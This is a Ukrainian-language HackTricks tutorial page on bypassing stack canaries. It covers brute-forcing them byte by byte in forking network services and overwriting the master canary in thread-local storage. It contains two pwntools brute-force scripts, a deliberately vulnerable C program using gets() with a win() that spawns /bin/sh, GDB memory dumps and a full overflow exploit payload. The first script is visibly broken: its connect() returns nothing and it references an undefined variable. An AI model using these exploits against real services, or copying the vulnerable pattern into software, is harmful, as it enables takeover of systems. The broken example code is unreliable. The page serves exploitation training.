mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
219 lines
10 KiB
Markdown
219 lines
10 KiB
Markdown
# BF Forked & Threaded Stack Canaries
|
||
|
||
{{#include ../../../../banners/hacktricks-training.md}}
|
||
|
||
**Якщо ви стикаєтеся з бінарним файлом, захищеним канаркою та PIE (Position Independent Executable), вам, ймовірно, потрібно знайти спосіб їх обійти.**
|
||
|
||
.png>)
|
||
|
||
> [!NOTE]
|
||
> Зверніть увагу, що **`checksec`** може не виявити, що бінарний файл захищений канаркою, якщо він був статично скомпільований і не здатний ідентифікувати функцію.\
|
||
> Однак ви можете помітити це вручну, якщо виявите, що значення зберігається в стеку на початку виклику функції, і це значення перевіряється перед виходом.
|
||
|
||
## Brute force Canary
|
||
|
||
Найкращий спосіб обійти просту канарку - це якщо бінарний файл є програмою **forking child processes кожного разу, коли ви встановлюєте нове з'єднання** з ним (мережевий сервіс), оскільки кожного разу, коли ви підключаєтеся до нього, **використовується одна й та ж канарка**.
|
||
|
||
Отже, найкращий спосіб обійти канарку - це просто **brute-force її символ за символом**, і ви можете з'ясувати, чи був вгаданий байт канарки правильним, перевіряючи, чи програма зламалася, чи продовжує свій звичайний потік. У цьому прикладі функція **brute-forces 8-байтову канарку (x64)** і розрізняє між правильно вгаданим байтом і поганим байтом, просто **перевіряючи**, чи **відповідь** надіслана сервером (інший спосіб у **іншій ситуації** може бути використанням **try/except**):
|
||
|
||
### Example 1
|
||
|
||
Цей приклад реалізовано для 64 біт, але його можна легко реалізувати для 32 біт.
|
||
```python
|
||
from pwn import *
|
||
|
||
def connect():
|
||
r = remote("localhost", 8788)
|
||
|
||
def get_bf(base):
|
||
canary = ""
|
||
guess = 0x0
|
||
base += canary
|
||
|
||
while len(canary) < 8:
|
||
while guess != 0xff:
|
||
r = connect()
|
||
|
||
r.recvuntil("Username: ")
|
||
r.send(base + chr(guess))
|
||
|
||
if "SOME OUTPUT" in r.clean():
|
||
print "Guessed correct byte:", format(guess, '02x')
|
||
canary += chr(guess)
|
||
base += chr(guess)
|
||
guess = 0x0
|
||
r.close()
|
||
break
|
||
else:
|
||
guess += 1
|
||
r.close()
|
||
|
||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||
return base
|
||
|
||
canary_offset = 1176
|
||
base = "A" * canary_offset
|
||
print("Brute-Forcing canary")
|
||
base_canary = get_bf(base) #Get yunk data + canary
|
||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||
```
|
||
### Приклад 2
|
||
|
||
Це реалізовано для 32 біт, але це можна легко змінити на 64 біти.\
|
||
Також зверніть увагу, що для цього прикладу **програма спочатку очікує байт, щоб вказати розмір введення** та корисного навантаження.
|
||
```python
|
||
from pwn import *
|
||
|
||
# Here is the function to brute force the canary
|
||
def breakCanary():
|
||
known_canary = b""
|
||
test_canary = 0x0
|
||
len_bytes_to_read = 0x21
|
||
|
||
for j in range(0, 4):
|
||
# Iterate up to 0xff times to brute force all posible values for byte
|
||
for test_canary in range(0xff):
|
||
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
||
|
||
# Send the current input size
|
||
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
||
|
||
# Send this iterations canary
|
||
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
||
|
||
# Scan in the output, determine if we have a correct value
|
||
output = target.recvuntil(b"exit.")
|
||
if b"YUM" in output:
|
||
# If we have a correct value, record the canary value, reset the canary value, and move on
|
||
print(" - next byte is: " + hex(test_canary))
|
||
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
||
len_bytes_to_read += 1
|
||
break
|
||
|
||
# Return the canary
|
||
return known_canary
|
||
|
||
# Start the target process
|
||
target = process('./feedme')
|
||
#gdb.attach(target)
|
||
|
||
# Brute force the canary
|
||
canary = breakCanary()
|
||
log.info(f"The canary is: {canary}")
|
||
```
|
||
## Потоки
|
||
|
||
Потоки одного процесу також **ділять один і той же токен канарки**, тому буде можливим **брутфорсити** канарку, якщо бінарний файл створює новий потік щоразу, коли відбувається атака.
|
||
|
||
Переповнення буфера в багатопоточній функції, захищеній канаркою, може бути використане для зміни майстер-канарки процесу. В результаті, міра захисту є марною, оскільки перевірка використовується з двома канарками, які є однаковими (хоча й модифікованими).
|
||
|
||
### Приклад
|
||
|
||
Наступна програма вразлива до переповнення буфера, але вона скомпільована з канаркою:
|
||
```c
|
||
#include <pthread.h>
|
||
#include <stdlib.h>
|
||
#include <stdio.h>
|
||
#include <unistd.h>
|
||
|
||
// gcc thread_canary.c -no-pie -l pthread -o thread_canary
|
||
|
||
void win() {
|
||
execve("/bin/sh", NULL, NULL);
|
||
}
|
||
|
||
void* vuln() {
|
||
char data[0x20];
|
||
gets(data);
|
||
}
|
||
|
||
int main() {
|
||
pthread_t thread;
|
||
|
||
pthread_create(&thread, NULL, vuln, NULL);
|
||
pthread_join(thread, NULL);
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
Зверніть увагу, що `vuln` викликається всередині потоку. У GDB ми можемо подивитися на `vuln`, зокрема, на момент, коли програма викликає `gets` для читання вхідних даних:
|
||
```bash
|
||
gef> break gets
|
||
Breakpoint 1 at 0x4010a0
|
||
gef> run
|
||
...
|
||
gef> x/10gx $rdi
|
||
0x7ffff7d7ee20: 0x0000000000000000 0x0000000000000000
|
||
0x7ffff7d7ee30: 0x0000000000000000 0x0000000000000000
|
||
0x7ffff7d7ee40: 0x0000000000000000 0x493fdc653a156800
|
||
0x7ffff7d7ee50: 0x0000000000000000 0x00007ffff7e17ac3
|
||
0x7ffff7d7ee60: 0x0000000000000000 0x00007ffff7d7f640
|
||
```
|
||
Вищезазначене представляє адресу `data`, куди програма запише введення користувача. Стековий канар знаходиться за адресою `0x7ffff7d7ee48` (`0x493fdc653a156800`), а адреса повернення знаходиться за адресою `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`):
|
||
```bash
|
||
gef> telescope $rdi 8 -n
|
||
0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000 <- $rdi
|
||
0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000
|
||
0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000
|
||
0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000
|
||
0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000
|
||
0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800 <- canary
|
||
0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000 <- $rbp
|
||
0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 <start_thread+0x2f3> -> 0xe8ff31fffffe6fe9 <- retaddr[2]
|
||
```
|
||
Зверніть увагу, що адреси стеку не належать до фактичного стеку:
|
||
```bash
|
||
gef> vmmap stack
|
||
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
|
||
Start End Size Offset Perm Path
|
||
0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <tls-th1><stack-th2> <- $rbx, $rsp, $rbp, $rsi, $rdi, $r12
|
||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $r9, $r15
|
||
```
|
||
Стек потоку розміщується над локальним сховищем потоку (TLS), де зберігається майстер-канар.
|
||
```bash
|
||
gef> tls
|
||
$tls = 0x7ffff7d7f640
|
||
...
|
||
---------------------------------------------------------------------------- TLS ----------------------------------------------------------------------------
|
||
0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640 -> [loop detected] <- $rbx, $r12
|
||
0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0 -> 0x0000000000000001
|
||
0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640 -> [loop detected]
|
||
0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001
|
||
0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000
|
||
0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800 <- canary
|
||
0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4 <- PTR_MANGLE cookie
|
||
0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000
|
||
...
|
||
```
|
||
> [!NOTE]
|
||
> Деякі з наведених вище функцій GDB визначені в розширенні під назвою [bata24/gef](https://github.com/bata24/gef), яке має більше функцій, ніж звичайне [hugsy/gef](https://github.com/hugsy/gef).
|
||
|
||
В результаті, великий переповнення буфера може дозволити змінити як стековий канарей, так і майстер-канарей у TLS. Це зсув:
|
||
```bash
|
||
gef> p/x 0x7ffff7d7f668 - $rdi
|
||
$1 = 0x848
|
||
```
|
||
Це короткий експлойт для виклику `win`:
|
||
```python
|
||
from pwn import *
|
||
|
||
context.binary = 'thread_canary'
|
||
|
||
payload = b'A' * 0x28 # buffer overflow offset
|
||
payload += b'BBBBBBBB' # overwritting stack canary
|
||
payload += b'A' * 8 # saved $rbp
|
||
payload += p64(context.binary.sym.win) # return address
|
||
payload += b'A' * (0x848 - len(payload)) # padding
|
||
payload += b'BBBBBBBB' # overwritting master canary
|
||
|
||
io = context.binary.process()
|
||
io.sendline(payload)
|
||
io.interactive()
|
||
```
|
||
## Інші приклади та посилання
|
||
|
||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||
- 64 біти, без PIE, nx, BF canary, записати в пам'ять ROP для виклику `execve` і стрибка туди.
|
||
- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||
- 64 біти, без PIE, nx, модифікувати thread та master canary.
|